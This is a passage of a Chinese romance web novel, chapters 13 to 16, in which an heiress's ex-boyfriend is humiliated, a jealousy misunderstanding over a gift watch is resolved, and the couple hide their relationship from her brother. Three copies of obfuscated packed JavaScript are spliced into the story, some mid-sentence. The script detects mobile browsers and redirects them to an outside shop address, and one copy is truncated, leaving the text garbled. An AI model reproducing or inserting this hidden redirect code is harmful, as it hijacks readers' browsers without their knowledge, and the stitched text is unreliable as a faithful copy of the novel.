老板薄乐既然是祁迹的好友,闹到这种地步,那他以后恐怕是不可能再留在他手下了。 反正工作都要丢了,还不如发泄一场。 他破罐子破摔,干脆说:“祁总,你骗得了岑似宝那种不谙世事的小姑娘,可骗不了我,你根本就不是真心喜欢她。” 祁迹扬眉。 “哼,不过是一场用金钱兑换青春美貌的短暂交易罢了。”丁耀光掷地有声,“明眼人都知道究竟是怎么回事。” 几人顿住。 “她那样的家庭条件,还有那样的亲缘关系,连工作都只是对人笑脸逢迎的服务行业。一个拜金虚荣,与你根本不对等的灰姑娘,连我都看不上,真能融入你们的圈层?最后也只是竹篮打水一场空罢了。” 撂完狠话,丁耀光满意地看着会客室内落入一片死寂。 祁迹眼皮一掀,缓缓摘下了手上的腕表。 薄乐被丁耀光说得不小心喝了一嘴的茶叶,呸呸吐出来,茫然地抬头,“我……是不是也跟你有代沟了……” “不对等的灰姑娘?你在说谁?” 丁耀光好笑道:“还能是谁,当然是岑似宝!” 脱口而出后,他看到薄乐的表情变得复杂无比,嘴皮子张了张,久久没有发出声音,像是无言以对。 不知道为什么,他心中突然有种不太好的预感。 薄乐按着自己的太阳穴:“不是,你管裕丰珠宝的继承人叫灰姑娘……” “格林童话你给新编了一版啊?” 13.第 13 章 这回轮到丁耀光说不出话了。 裕丰珠宝的继承人? 这句话的每个字他都知道,但是合起来,却突然不明白是什么意思了。 他强作镇定反驳:“什么继承人,你别诓我了,她分明只是一个柜姐!是她亲口跟我说的!” “柜姐?”薄乐哼笑一声,“那是她家开的店,当然是人家想干什么就干什么。画廊开业那天,她哥也去了,我至于骗你?” 听着对方板上钉钉的话,丁耀光的脑中犹如一声惊雷炸开。 他无助地摇头,不断重复:“她怎么可能是那样的千金大小姐,她亲口跟我说过的……” 如果她真的是那样的身份,面对他的时候怎么会没有一点飞扬跋扈? 假如他是裕丰珠宝的继承人,肯定不会像岑似宝那样,好像根本不在乎这个身份似的。 可是话又说回来,他们似乎也没有怎么好好相处过,他也不够了解她。 “怎么会这样,如果是真的,如果我早知道……”丁耀光的世界开始摇摇欲坠。 下一秒,衣领猝然被人拉起。 他恍惚抬眼,对面,祁迹的目光犹如冰冻的深潭,声音同样,“如果你早知道,就会死死抓着她不放,是吗?” 是的,如果早知道岑似宝的家境是这样的好,他一定不会跟她分手。 他一定会牢牢地抓住她,哪怕她喜欢上别的什么牙医还是总裁。 刚这么想着,侧脸就传来一阵剧痛,眼前世界一片扭曲。 薄乐蹭得站起,看着祁迹毫不留情对着丁耀光挥出了一拳。 这还是他第一次见祁迹动粗。 丁耀光应声倒在地上,疼得紧闭双眼,只顾着呻.吟,说不出话来。 余助理也惊了一瞬,但很快便反应过来,上前去劝架——他架住了丁耀光,冷静地喊:“别动手,有话好好说。” 薄乐:“……” 岑似宝踏进门的时候,看到的就是余助理架住挣扎的丁耀光,不住地劝着他不要动手的画面。 她又惊又怒,蹬蹬蹬几步跑上前:“丁耀光你还真动手了啊?” 可等看清丁耀光的正面,她才看到他侧脸处一片红,一看就是刚被打过。 再扭头看向祁迹,完好无损,气度不凡。 她有些迟疑起来,小声问祁迹:“他对你动手了吗?” 祁迹垂眸上前,按住了她的肩,叹息:“他动脸了。” 身旁,薄乐的两眼瞪得像铜铃。 岑似宝也沉默了一下。 她再傻,也知道到底是谁打了谁,纳闷道:“那刚才余助理还跟我说,是丁耀光带了人过来找茬。怎么反倒是你打的他?” 祁迹并不希望丁耀光刚才说的那些话有半句入她的耳,于是只说:“确实带了人。” 说完扫向了薄乐。 薄乐指了指自己:“?” 旁边被忽视的丁耀光见到岑似宝,终于挣脱了余助理的束缚。 抱着最后一丝希望,他急急出声:“岑似宝,你真的是裕丰珠宝的继承人?” 岑似宝顿了顿,有些困惑地开口:“你才知道吗?” 丁耀光只觉两眼一黑。 这个消息被证实,简直比他被打还难受百倍,他脱口而出:“你为什么要一直骗我?!你不信我?” 岑似宝蹙眉,“你在说什么啊,谁骗你了,我不是早就跟你说过吗?” “你什么时候跟我说过了?”丁耀光两眼通红。 岑似宝:“我把裕丰的宣传册给你看了呀,第一页是一张裕丰捐款补贴高温作业的基层人员,董事长亲自去慰问的照片,当时我不是指着照片上的董事长,跟你说过那就是我奶奶吗?” 丁耀光两眼二黑。 他崩溃地捂住眼:“你指的方向不是对面那排坐着的清洁工吗!” 祁迹和薄乐:“……” 岑似宝也懵了,“那也不能怪我吧,是你自己看错了。” 丁耀光接着控诉:“可你还明明白白地说过,你爸妈一夜之间都走了,家里就剩你跟你哥了啊!” 岑似宝:“是呀,他俩又度蜜月去了,年年都是一时兴起就跑出去玩,也不告诉我们一声的。” 祁迹和薄乐:“……” 丁耀光两眼三黑。 他嗓子都喊哑了:“你还说,你哥不得不出国干活,还是去的矿上!” 岑似宝:“是啊,新的供应商在国外,他不得不出国去考察宝石矿区呀。” 祁迹和薄乐:“……” 丁耀光无力地瘫倒在地,嘴里还不住地喃喃:“你怎么可以这样,怎么这样。” 岑似宝后知后觉两人间的误会,“不好意思啊,我还以为,你是天生淡定,视金钱如粪土。” 祁迹将她拉到身边,抚额:“你跟他道哪门子歉?” 薄乐看了一出波澜起伏的大戏,心绪从没这么起伏过,也是叹为观止。 对丁耀光,对祁迹,更是对岑似宝。 但还是得帮着收场,他将丁耀光提了起来,“好了,现在后悔也来不及了,要是还想留点脸面,就趁早离开吧。” 丁耀光只看了岑似宝一眼,就被祁迹挡住了。 今时今日,无论如何也攀附不上了,他心如死灰,踉跄着走了出去。 薄乐揉了揉涨涨的头:“算了,我还是出去看着他吧,回头可别路上出了事,又横插在你俩之间坏事了。” 紧接着,余助理也很有眼色地退下了。 岑似宝这时才突然意识到:“薄乐刚才说什么?” 祁迹一脸淡定地坐下,“他已经知道了。” 岑似宝冲到他面前,用力摇晃他的肩膀:“他都知道什么了!你都跟他说什么了!” 祁迹笑着伸手轻轻一拉,她失去支撑,直接倒进了他的怀里。 她刚要起来,就被拢得密不透风,头顶传来沉沉的声音:“嘘,别动,手疼。” 岑似宝定格了一阵,细声问:“真的啊?” “嗯。” “那我去找余助理,问问有没有药?” “不用,就这样,一会儿就好。” 岑似宝静静等了一会儿。 “好了吧?别演了,我知道你骗我的。” 脸侧靠着的结实胸膛因为主人的笑而共鸣震动。 岑似宝手指抵着他的肩,缓缓推开了距离,接着居高临下望着他,语气骄矜:“今天看你顺眼,就不跟你计较,你不打招呼就借我充电的事了。” “谢谢。”祁迹支着侧脸看她,“请问可以一起吃饭吗?” 岑似宝冷酷地拒绝了他的招呼:“不一起。我要去找张曼了,她在底下吃饭呢。” 祁迹没有拦着她。 张曼正想给岑似宝发消息,她就出现在了面前。 看她神态舒展,张曼就知道没出什么大事,“丁耀光走了?” 岑似宝嗯了一声。 “没打起来吧?” 岑似宝一点都不觉得祁迹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083877|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一拳算是打,“没有,而且就算真打起来,也是丁耀光吃亏,我看祁迹那个助理特别会拉偏架。” “不过我还以为你会留在上头,陪祁总一起吃饭呢。”张曼挤眉弄眼道。 岑似宝挥了挥手,“我是那种见色忘友的人吗?你在这里,我当然要先陪你的。” 张曼感动地捧心:“我没看错你,小岑。” 岑似宝弯了弯眼睛,余光里,又看到那个姓盛的经理了。 她的手腕上依然戴着那款手表。 墨绿的色泽,白皙的手腕,很配。岑似宝暗自点头称赞。 张曼也注意到了她,看向岑似宝:“你不是打算忘掉手表的事吗?” 岑似宝摇了摇头,“不是,只是看到她突然想起来,马上要到我们学校的校庆了。” “市一中?” “嗯。” 一中分为初中部和高中部,初中直升,所以岑似宝在那里度过了六年。 张曼不是一中的学生,闻言来了兴趣,“你要去?” 岑似宝点点头,“有空的话,应该吧,正好也回去看看老师。” “真好啊,不像我们学校,名不见经传,不可能办什么校庆的活动。” 张曼托腮看她,“你那时候在学校里,肯定很有名吧?” 岑似宝想了想,大言不惭:“不知道,但是老师、同学,大家都喜欢我。” 张曼深以为然地点头:“我就没见过不喜欢你的人。” 岑似宝叠好纸巾,“倒也不是,祁迹一开始就不喜欢我。不过最后,我还是靠自己的个人魅力征服了他。” 说着,她洋洋得意地摆了摆头。 张曼哈哈一笑,“真该给你录下来,然后放给祁总听。” 岑似宝大方道:“放吧放吧,他自己也要承认的。” 吃完了饭,岑似宝起身,示意要去下卫生间。 张曼点头,“好,你去吧,我在外头等你。” 岑似宝愉悦地起身,绕过了拐角处的盆栽。 走进卫生间的那一刻,她低着头,理着衣服下摆,与对面步履匆匆的女人擦肩而过。 “盛放。” 听到这声叫喊,岑似宝下意识回头看了一眼,与她擦肩的正是方才瞥见的那个盛经理,同行的人在叫她。 对方走到了外间去洗手,袖子捋起,另一人的声音隔着半面墙,影影绰绰传入了岑似宝的耳朵:“这块表……祁总送的那款?好看……皮肤白……很衬。” 岑似宝的脚步定住了。 盛经理的声音听起来有些惊讶:“连你也知道了?” “本来不知道的……现在谁不知道啊……祁总……真没想到……居然是个恋爱脑。” 盛经理无可奈何道:“他可真是。” “是啊,根本看不出来呢。”外头的人边笑着说话,边离开了洗手间。 岑似宝缓缓转过身。 张曼在外面等了一会儿,就见岑似宝面无表情出来了。 “你怎么了?没事吧?”张曼看她脸色不太对,迎上前去问道。 岑似宝用纸擦了擦手上的水珠,泰然自若回她:“我挺好的,曼曼,你先回去吧,我还有点事要做。” 说完便转头,朝着电梯走去。 张曼茫然地跟上,问她:“你要去哪儿啊?做什么事?” 岑似宝面带微笑:“没什么,就是突然想起,得给人送个东西。” “啊?送什么啊?” “巴掌。” 14.第 14 章 张曼不明白发生了什么,但临时的工作通知又让她不得不赶紧回去。 岑似宝语气轻松地表示只是开了个玩笑,处理一点小麻烦,用不着她跟着,便将她推走了。 步入电梯里,岑似宝的面上变得毫无波澜。 直视着对面金色冰冷的镜面,她的嘴角一点点塌下来,心中泛起不起眼的酸苦。 方才洗手间里听到的那些话在她耳边不断盘旋。 虽说之前已经告诉过自己,没必要,如果祁迹真的是个脚踩两条船的渣男,她没必要为此付出太多心神,及时抽身就是了。 不为难自己,一向是她的人生信条。 但是真的到了这个时候,她却发现,一切都跟预想的不一样了。原来她没那么潇洒。 她忍不住设想,如果对方不是祁迹,而是丁耀光呢? 那她或许会觉得恶心,会有点气,会翻白眼,但总之肯定不会是现在这样的心境。 也是到了这时,她才意识到,她或许比自己想象中的,还要多那么一点点地喜欢祁迹。 可是哥哥说得没错,她的眼光还真是不怎么样。 幼儿园里的小男生,通不过哥哥一袋糖的考验直接答应跟她“分手”,前不久的丁耀光,一个神经病,现在的祁迹,一个渣男。 岑似宝对着前方镜面中的自己,有些自嘲地扯起嘴角。 但她心里已经下定决心,她不会哭,等甩完一巴掌,她就走人,然后再也不见他了。 岑似宝阔步走出了电梯,像个女斗士。 “岑小姐?” 岑似宝看到了迎面走来的余助理,大概是刚从祁迹的办公室里出来。 见到她眸光中那道陌生的冰冷,他面露茫然,“岑小姐,怎么又回来了?” “我找祁迹。”岑似宝的声音也有些生硬的哑。 不过是半个小时过去,岑似宝的脸色就变了个样,余助理顿感不妙。 怎么突然有种自己嗑的cp要be的感觉呢? 但他一时也不知该怎么处理,只能说:“祁总还在办公室里。” 说完便跟在岑似宝的身后,准备随机应变。 岑似宝没有敲门,直接推了开来。 祁迹抬眼,看到去而复返的岑似宝,眼中的惊喜才刚升到一半,就察觉出了她的异样。 问询式地看了眼后头的余助理,他摇了摇头,表示自己也爱莫能助。 “怎么了?” 祁迹起身来到她身边,刚伸出手,却被她一把甩开。 毫无预料的动作,让祁迹后退了一步,桌上边缘处的钢笔因此被扫落在地,声音被厚实的地毯吸入。 祁迹略显错愕地望着岑似宝。 岑似宝只是低着头,并没有看他。 她想着要干脆利落地扇出去,可到了跟前,却难以抬手,就连开口都难。 室内陷入一片沉寂。 战战兢兢的余助理在心中将危险等级又提高了一级,接着鼓起勇气,蹲了下来,将钢笔捡起,重新放到桌子上。 也就在他伸手的那一刹那,袖口朝上,手腕处露出的一抹绿进入了岑似宝的视线。 她双眸中的水光顷刻间凝固了。 那是,与盛经理手腕上的那只螺钿手表相对应的男款。 “你的手表……”恍惚间,她直接问了出来。 余助理瞥了眼,平铺直叙的语气夹杂了些炫耀:“这个吗?这是前不久祁总送我的订婚礼物。” 岑似宝的心立时悬了起来,小心翼翼问:“余助理,你的订婚对象,也是这家公司的人?” “是啊,她姓盛,是个产品经理……咳,难不成,连岑小姐也有所耳闻?” 余助理摸了摸后脑勺,一直没什么变化的面瘫脸上终于有了点羞赧的感情色彩,“她团队新来的实习生好像对她有意思,为了把风险掐灭在摇篮里,我就稍微宣誓了一下主权。” 岑似宝的身体僵了僵。 一瞬间,卫生间里的对话电光石火般又一次回响在她耳边,不过这一次,是完整版。 “连你也知道了?” “本来不知道的,但是你被小冯追求之后,现在谁不知道啊,余助理气得到处炫耀祁总送给你俩的订婚纪念手表呢,真没想到,余助理居然是个恋爱脑。” “唉,他可真是,服了。” “是啊哈哈,表面上正正经经的,根本看不出来呢。” 岑似宝沉默了。 确实看不出来。 余欢欢啊余欢欢,你私底下到底还藏着多少不为人知的小惊喜? 真是害惨她了。 听完二人对话的祁迹眯起眼,再次看向了岑似宝的手腕。 结合她的话,他也终于明白了她那天晚上的暗示。 他垂下脸,嘴角难以自抑地微扬,竟然有种看到呵护已久的种子破土的满足与欣然。 岑似宝克制着自己的呼吸,闭了闭眼,一字一顿追问:“余、助、理,之前怎么没见你戴这只手表啊?” 余助理不好意思地解释:“之前表盘被我不小心磕到了,送去修了,昨天才拿回来。” 直至此刻,余助理也不知道到底发生了什么,更不知道话题为什么突然转到了自己的手表上头。 不过他看得出来,无论是岑似宝还是祁迹,两人周身的气息都变了,气氛也不再像刚才那样剑拔弩张了。 祁迹扫了余助理一眼,他立刻明白过来,转身离开,然后好好地将门关好。 占据一整层的办公室瞬间空荡了下来,岑似宝手指蜷缩,低着脸,抬脚也想离开,祁迹却已来到她身前,等她自投罗网。 她伸手去推他,却被对方的手牢牢包裹住,听着头顶传来的磁性嗓音: “你看到盛经理手上的手表,后来知道是我送的,误会了?” 岑似宝垂着的脸涨得通红,一言不发。 祁迹接着诚恳说:“抱歉,我不知道你那天晚上说的是这件事。表是直接给的余助理,所以我没想过你会误会。” “刚才是不是想要甩我巴掌?” “可是没有,还是心软了吗?” 他温柔地垂眸,问:“所以,你还是喜欢我的,是不是?” 说完,却见岑似宝依旧低着头,一动不动。 可他却感受到了她指尖传来的细微颤动。 他一顿,左手将她的脸抬起来—— 她正紧紧咬着下唇,满眼快要包不住泪珠。 祁迹眉心蹙起,慢慢揉着她的唇角,“别咬。” 随即轻叹一声,“不说也没关系。” 对他包容的视线相对,岑似宝终于破釜沉舟似的张口,哽咽着:“好嘛,我承认,我很喜欢你!是我误会了,是我吃醋了!” 说完,她委屈地掩住双眼:“可是,我刚才真的很难受,吃错了醋也好丢人,我这辈子都没这么丢人过,怎么这样……” 祁迹将她抱进休息间,给她擦去滚滚落下的眼泪。 他揉了揉她的头发,“我说过,在我面前,不用担心丢脸。” 祁迹深深注视着她,“你会生气,会来找我麻烦,我很高兴。” 他也毫不掩饰自己的这种高兴。 “如果吃醋很丢脸,那我丢的脸远比你多。” 岑似宝抬起眼。 “看到你喜欢林子深的画,我吃醋,听说你谈了恋爱,更是头脑发昏,难以保持理智。” “对了,听你哥说起,你从幼儿园开始就交小男友了,哪怕只是玩闹,我也根本笑不出来。” 他浑不在意地剖析着自己的阴暗面。 “中间还有很多段吧?我一直刻意不去想,是怕被你看见嫉妒的丑陋表情。” 岑似宝吸了吸鼻子,带着鼻音说:“那些都不作数的。” 祁迹轻笑一声,“是,那些都不重要,重要的是,我喜欢你,肯定也比你喜欢我更多。” 听到这里,岑似宝的睫毛微颤,上面的最后一点水珠也被他垂下头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑似宝高高兴兴地准时回到了店里,张曼也在工作间隙发来了消息,询问她有没有事。 岑似宝给她发去了一个转圈圈的表情包,“没事,晚上再跟你细说。” 周姐很快便发现了她的情绪变化,打趣着说:“嘴角都快飞上天了,是发生什么好事了?” 岑似宝将手背在身后,笑着没有回答。 周姐看着她那仿若换了个口红色号的嘴唇,恍然,一切尽在不言中。 在岑似宝看来,今天下午的时间过得格外快,只是一眨眼,就到下班时间了。 出了门,岑似宝便直奔祁迹停车的地方。 祁迹站在车外,正懒懒地倚着车门等着她。 明明一如往常英俊的脸,但朝她看来的那一刻,眼中情绪融化之际,好像每一处五官都更加深刻,也更加合她的心意了。 岑似宝左顾右盼了一番,确定没有熟人,立刻扑了过去。 祁迹张开手稳稳接住她,随即也用力将她箍在怀里,仿佛数个春秋没有见面了。 与岑似宝相反,祁迹今天下午的工作效率出奇地差。 他的脑中原本控制着很多小小的员工,这些小人一直有条不紊地分区做着该做的事,从未出错,可是却在这个下午乱了套。 该批复邮件的小人偶尔会发呆。 该签署文件的小人偶尔会停摆。 听着技术高管堆砌数值的冗长述职,严厉的小人本该在中途就犀利打断,却一直听到了最后才出声评价,期间则是光明正大地出神,想另一个人。 在遇到岑似宝以前,他从未想过,会有一个人对自己的影响这么大。 但是现在,当岑似宝来到怀里,这群长着祁迹的脸的Q版小人,神智终于彻底清醒了。 小人们举起手,一本正经地齐齐在他脑中下达了此时最正确的指令——该亲吻她啦! 15.第 15 章 岑似宝的心中也蹲着一个小小的她。 这个小岑的动作更快,在祁迹动身之前,就已经指挥着她亲了一口。 面对喜欢的人的首次主动亲密,祁迹脑海里的小人们的脸齐刷刷变得红红的。 但他面上却并未袒露,只是先温柔将她带入了车里,随后才反客为主。 短暂的亲吻后,岑似宝刚要系上安全带,手边突然摸到了一个光滑冰凉的物件。 低下头看去,那是一个精致的胡桃木盒子,看起来像是首饰盒。 岑似宝拿起,朝祁迹示意了一下,“这个,别人落下的?” 他只是摇头,“除了你,没人坐过这辆车的副驾驶。” 岑似宝明白了,那就应该是送给她的了。 但她还是故作矜持地问:“盒子里头装的是什么东西?我现在可以打开看吗?” 他扬了扬唇,“没什么是你不能看的。” 于是岑似宝迫不及待地掀开盖子,一枚戒指映入了眼帘。 她第一眼就看到了作为主石的那颗黑欧泊。 深邃的底色,只要稍稍转动,石体内部便炫开浓烈的变彩。 蓝与绿,红与紫,像是封存了一大片极光,只在特定的时间,给特定的人看。 她眼睛一亮,飞快地转头看向祁迹,“嗯?” 祁迹微垂着眼,显出了心中并没有表现出来的那么淡定,“那天晚上,你不是说,手上少了点东西?” 她恍然,“然后你就真的去买戒指了?” 岑似宝忍俊不禁,捏着那枚完全贴合自己审美的戒指,在半空中晃了晃,“不过,还挺会选的嘛。不知道的还以为你是在求婚呢。” 祁迹摇了摇头,“这个不是戴在无名指上的,只是用来装饰你的手指。” 岑似宝故意说:“可是就一个,也装饰不了多少嘛。” 祁迹笑了一下,没有立刻回答。 岑似宝从他的笑里感觉出什么,接着又突然发现,门边下方的储物格里也有一只深色的盒子。 她打开来,里面又是一枚不同款式的戒指。 正圆的大溪地黑珍珠,细腻的表皮泛着孔雀绿的晕彩,清晰地映出了她此刻微怔的表情。 她接着望向祁迹,“有两个?” 祁迹眼睫抬起,笑望了她一眼,“或许,再找找?” 随即岑似宝又在中控台也发现了一个。 岑似宝自己就有许多戒指,只是平日里没什么兴趣戴,但是现在,她身子朝前倾去,下巴抵在祁迹宽阔的肩上,乐不可支了许久,“你是在跟我玩寻宝游戏吗?我好喜欢!” 祁迹亲吻着她的发顶,温情在两人之间流淌。 他环抱着她,另一只手握住她的手,缓缓探入了自己上衣的口袋里。 于是,岑似宝的指尖猝不及防又触及了一只小盒子。 她欣喜地拿出来看了看,接着想起什么,抬头,看向祁迹,“你的办公室里不会也有吧?” 她这时才想起来,中午待在他的休息室里时,余光好像也看到了桌上的一个皮质盒子。 不过那时只顾着与他玩牙医游戏,一眼瞟过,并未放在心上。 祁迹笑了笑,坦然说:“可惜你今天没有发现。” 她不服:“我哪有机会去找啊,再说了,你当时怎么不提醒我呢?” 祁迹的笑意渐浓,“因为,等着你下次再去找。” “哦,原来是故意的。”岑似宝又觉得他狡诈起来,开始数落他的斑斑劣迹。 祁迹抹了抹她透着欢愉的眼,已经看不见一丁点红,但他眼前仿佛还是闪过了她流泪的样子。 他俯身,爱怜地在她眼下亲了又亲。 窗外是寒冬,可车里的温度似乎越来越高了。 岑似宝原本盘着的头发不知不觉间散落,几根颀长的指尖在其中若隐若现,逐渐向下。 情动时,岑似宝的双眼氤氲着水汽,像是一汪春水被祁迹含住。 她的指尖在祁迹的身上流连,脑中闪过了曾经与张曼探讨过的一些会被屏蔽的话题。 现在可以确定了,不论是脸还是身体,还有须后水的气味,祁迹都能完美击中她的心房。 相对的,祁迹将她死死揽在身前,鼻尖抵在她散发芬芳的脖颈侧,克制不住渐渐粗重的喘.息,结实的手臂紧贴着起伏的柔软边缘。 直到岑似宝的手机屏幕亮了亮,收到了来自张曼的消息:“小岑同学,你还没回来吗?我都加完班回到宿舍了哎。” 她这才猛然惊醒,看了眼时间,震惊地怀疑自己跟祁迹刚才是到了天上。 除了天上一天,地上一年这种情况之外,实在无法解释时间怎么会过得这么快。 祁迹瞥了眼时间,并未有分毫惊讶,只是淡定地将她衣领的扣子扣好,头发理好,才启动了车子。 岑似宝回复张曼:“还在路上,快到了。” 消息界面,张曼很快发来了最为严厉的质问:“那还真够快的啊,我加了一个多小时的班,再算上回来的时间,你和祁总……也在路上加了将近两个小时的班?” 不用想也知道不对劲。 岑似宝顿时一阵脸热,只好耍赖:“哎呀反正你都猜到了,就别问那么详细了。” 张曼忍不住感慨:“所以,你终于松口了,让祁总如愿了?” 看到这句话,岑似宝突然回想起了中午,在祁迹的休息室里时的情景。 “还记得我说过的话吗,等我回来,你就没有反悔的机会了。” 祁迹又一次说起,语气比那时更多了几分重量。 岑似宝轻哼一声:“你当时要是直接说一句,你非常非常喜欢我,没有其他那些多余的废话,就不会有后来的麻烦事了。” 祁迹深深看着她:“让你想清楚,是因为不想很快就被你的三分钟热度抛弃。” 他只是将自己的情绪先敛了起来,等待她的彻底肯定。 岑似宝想要反驳自己不是那样的人,但仔细想来,又觉得也没有充足的底气完全反驳。 不过她还是换上了认真的表情:“可我不要什么内敛的爱,从小到大,我的家人给了我很多很多的爱,或许是提高了我的阈值吧,你要很明显地表现出来,我才能看得到。” 因此,面对那晚暂时让步,让她考虑清楚的祁迹,她才会觉得他还不够喜欢她。 而对于祁迹来说,那是他的疏忽,是后悔也来不及的马失前蹄。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103930|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 岑似宝又问:“那你现在就不怕被我抛弃了?” 祁迹淡淡看了她一眼,“已经抛弃过一次了。” 提及这一点,岑似宝确实有点心虚。 祁迹:“所以同样的错误,我不会再犯第二次。” 思绪回到现在,岑似宝支着下巴,打完了字:“就这样,我就同意了。” 张曼也为她高兴,长出一口气。 毕竟沾了小岑的光,吃了人家的员工餐厅那么久,现在作为娘家人,算是有了那么点名正言顺的感觉了。 “太好了,你们总算是没有什么阻碍了。” 岑似宝迟疑了一下,“那倒也不全是。” “都在一起了,还有什么障碍啊?”张曼不解。 “还有我哥呢。” 张曼也想起来了,“是哦,这个确实很难跨越,就算不说你亲哥,堂哥,还有表哥呢。祁总自求多福吧。” 对于这个问题,岑似宝的唯一解决办法,就是逃避。 反正等她哥发现的时候再说吧,在此之前,万事大吉。 汽车开到了宿舍区门口的停车位,熄了火。 “那我走了。”岑似宝解开安全带说着。 身后没有动静。 她转过脸,祁迹歪了歪头,正看着她,接着长臂一伸,将她揽了回去。 不想分开。 岑似宝也是第一次发现,祁迹的怀抱怎么就这么让人上瘾呢? 大概,祁迹也是这么想的吧。 维持着这个动作许久,狭小的空间里,突然响起了手机震动声。 两人一时之间没有顾及是谁的手机发出的声音,直到岑似宝的手机滑了出去,岑衡两个大字明晃晃出现在眼前。 祁迹抬了抬眉,帮她捡起手机,接通了电话,举起手机,放到她耳边。 “怎么这么久不接,回宿舍了吗?” 岑衡低醇的声音响起,立即唤醒了岑似宝沉迷的理智。 她面不改色道:“当然回来了,你也不看看几点了。” 岑衡皱眉:“你声音怎么了?” 察觉祁迹嘴角微扬,岑似宝瞪了瞪他,接着清了清嗓子,“我刚才在陪我室友看综艺呢,太好笑了,嗓子笑哑了。” 祁迹又无声地笑了一下。 岑衡:“这么沉迷,电话都忘了接?” 担心岑衡怀疑,她接着说:“我也就是没有看清是哥哥打来的,不然肯定立刻就接了,你出差这么久,我特别特别想你呢。” 算了算日子,她接着说:“只是可惜,还要等几天才能见到你。” 说着说着,岑似宝还真有点代入了,吸了吸鼻子。 祁迹面无表情听着,心里难免发酸。 另一边的岑衡听完,目光却软了下来,“真有这么想哥哥?” “当然了!” “那给你个惊喜。” “哇!”岑似宝期待地喊:“是不是给我带什么礼物了?是什么啊?” “想知道?你下楼吧。” 岑似宝脸上的笑意猛地消失了,“啊?” “我提前回来了,就在宿舍区门口。” “不用可惜了,你现在就能见到哥哥了。” 16.第 16 章 “是不是很惊喜?”岑衡声音悠扬。 扬得岑似宝心头阵阵发凉。 春风得意马蹄疾,岑似宝马失前蹄。 她将视线缓缓朝窗外移去,果然看到了一个挺拔的身影,正好挡在大门口。 他背对着这边,所以暂时没有察觉身后有辆熟悉的车,车上还坐着两个熟悉的人。 电话里,岑衡见她有段时间没有回话,敏锐地问:“你怎么了?” 岑似宝不知道该怎么说,求救的视线投向了祁迹。 祁迹已经听到了岑衡的话。 他其实很想现在就下车,然后坦白一切,过了明路,从此大大方方不用躲藏。 但看着岑似宝慌乱的眼神,还是放弃了。 在祁迹的指导下,岑似宝保持着语气雀跃回道:“刚才高兴得我都说不出话了,太惊喜了!那哥哥你等一会儿,我马上到。” 岑衡放下心来,“没关系,你慢点。” 他放下手机,开始等待妹妹出现。 而祁迹则拿起了自己的手机,接着找到了好友的号码,拨了出去。 岑衡很快听到了铃声,看了眼来电显示,有些诧异,“祁迹?怎么这个时候打电话来,有事?” 然而他却迟迟没有听见对面出声。 岑衡迟疑了一下,“祁迹?” 随即那头才传来了断断续续的声音:“你那边……听不……信号不好?” 岑衡又喊了声:“喂?祁迹?” 他有些纳闷,“是我这里的信号问题吗?” 他试着在周围走动了一下,果然能听到那头更多的声音了,看来真的是他这边的信号问题。 但还是不够清晰。 于是岑衡拿着手机,开始专注地寻找信号,逐渐离开了大门。 岑似宝趴在窗口,小心翼翼地观望着。 看着岑衡的注意力逐渐转移,她激动地回头,无声地做着口型夸赞祁迹:“你!调虎离山的天才!” 祁迹看着她,无奈而好笑地继续一个字一个字往外蹦,假装信号不好。 岑似宝夸完,就立刻悄悄下了车,接着奔向了宿舍大门。 在她踏进门的那一刻,岑衡的手机里终于听清了祁迹的声音。 他如释重负,“祁迹?到底什么事?” 祁迹一顿,“没什么,就是想问你,什么时候回国,我去接你。” 岑衡简直无语:“就为了这个?” 面对淡如水的君子之交突如其来的“关心”,他鸡皮疙瘩顿起,眉尾抽动了一下,“不用了,我已经回来了。” “那就算了。”说完祁迹直接挂了电话,留下岑衡在原地莫名其妙。 有惊无险,岑似宝在哥哥的眼皮子底下暗度陈仓。 接着她装作刚从宿舍离开的样子,在岑衡的视线中匆匆跑了出来。 岑衡迎上去,“不是说了慢点。” “这不是怕你等嘛。”岑似宝笑得毫无异样,接着朝身后看去,给了祁迹一个眼神,示意他快点离开。 保不齐岑衡就会认出他的车呢。 但还是有些疑点,岑衡问:“你下来之前,还特意换了一整套衣服?” 岑似宝停了两秒,“对——为了迎接远道而来的你。” 岑衡牵起嘴角,“古灵精怪。” 他以往出差都没有离开过这么久,加之父母也不在,所以一回来就先看了看妹妹。 见她依旧光彩照人,彻底放下了心,推出手边的硕大箱子,里头装的都是给她带的礼物。 岑似宝忍不住当场打开看了一眼,从贵重的珠宝,到稀奇古怪的木雕,还有吃的用的,应有尽有。 她抬起头,“哥,你好像一个出去进货的小卖部老板。” 岑衡唇角再度勾起,摸了摸她的头,耐心说:“你小时候不是许过愿,要是家里是开连锁超市的就好了?” 虽然第二天就不认了。 岑似宝认真道:“哥,岑量说得不对,你才是真正的哆啦A梦。” 岑衡不解,“他说谁是哆啦A梦了?” 意识到说漏了嘴,岑似宝连忙闭嘴,“没谁,就是开了一个小小的玩笑。” 